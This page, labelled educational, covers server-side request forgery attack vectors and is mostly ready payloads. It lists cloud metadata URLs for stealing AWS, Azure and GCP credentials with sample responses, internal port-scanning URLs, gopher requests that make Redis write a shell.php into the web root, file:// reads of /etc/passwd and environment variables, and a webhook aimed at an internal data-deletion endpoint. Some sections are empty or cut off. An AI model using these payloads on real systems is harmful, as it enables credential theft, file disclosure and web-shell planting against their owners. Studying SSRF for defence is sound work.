Back

API07: Server Side Request Forgery - Attack Vectors

Table of Contents

Understanding SSRF Attack Vectors

> ⚠️ EDUCATIONAL PURPOSE ONLY

SSRF exploits occur when attackers can control URLs that servers fetch, allowing them to:

Core Attack Flow

``

  1. Discover URL Input

Find parameters accepting URLs (webhooks, imports, images)

  1. Test for SSRF

Submit internal URLs (localhost, 169.254.169.254)

  1. Exploit

Access metadata, internal services, files

  1. Escalate

Use stolen credentials for further access

`

Common Attack Patterns

1. AWS Metadata Service Exploitation

Target: http://169.254.169.254/latest/meta-data/ Attack Flow:
`
  1. Test basic access:

http://169.254.169.254/latest/meta-data/

  1. Enumerate IAM roles:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

  1. Extract credentials:

http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]

  1. Response contains:
    • AccessKeyId
    • SecretAccessKey
    • Token
` Real Attack Example: `http

POST /api/import-data

{

"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

}

Response: ["ec2-role-name"]

POST /api/import-data

{

"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"

}

Response:

{

"AccessKeyId": "ASIA...",

"SecretAccessKey": "...",

"Token": "..."

}

`

2. Azure Metadata Exploitation

Target: http://169.254.169.254/metadata/instance?api-version=2021-02-01 Required Header:
Metadata: true Attack: `http

GET http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Response:

{

"access_token": "eyJ0eXAi...",

"expires_in": "3599",

"resource": "https://management.azure.com/",

"token_type": "Bearer"

}

`

3. GCP Metadata Exploitation

Target: http://metadata.google.internal/computeMetadata/v1/ Required Header:
Metadata-Flavor: Google Attack Endpoints: `

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

http://metadata.google.internal/computeMetadata/v1/project/project-id

http://metadata.google.internal/computeMetadata/v1/instance/attributes/

`

4. Internal Service Scanning

Port Scanning:
`

http://192.168.1.1:22 (SSH)

http://192.168.1.1:3306 (MySQL)

http://192.168.1.1:6379 (Redis)

http://192.168.1.1:8080 (Jenkins)

http://192.168.1.1:9200 (Elasticsearch)

` Service Enumeration:
  • Test common ports
  • Identify running services
  • Find admin interfaces
  • Locate databases

5. Redis Exploitation via SSRF

Attack:
`

http://localhost:6379/

` Commands via URL:

Using gopher protocol:

`

gopher://localhost:6379/_SET%20admin%20true

gopher://localhost:6379/_CONFIG%20SET%20dir%20/var/www/html

gopher://localhost:6379/_CONFIG%20SET%20dbfilename%20shell.php

gopher://localhost:6379/_SET%20payload%20""

gopher://localhost:6379/_SAVE

`

6. File System Access

File Protocol:
`

file:///etc/passwd

file:///proc/self/environ

file:///var/www/html/config.php

file://C:/Windows/win.ini

` Sensitive Files:

7. Webhook Abuse

Attack:
`http

POST /api/webhook/register

{

"callback_url": "http://internal-admin:8080/api/delete-all-data"

}

` Impact:
  • Trigger internal actions
  • CSRF on internal systems
  • Data manipulation
  • Service disruption

8. PDF/HTML Rendering SSRF

Attack:
`http

POST /api/generate-pdf

{

"html": ""

}

` Also works with: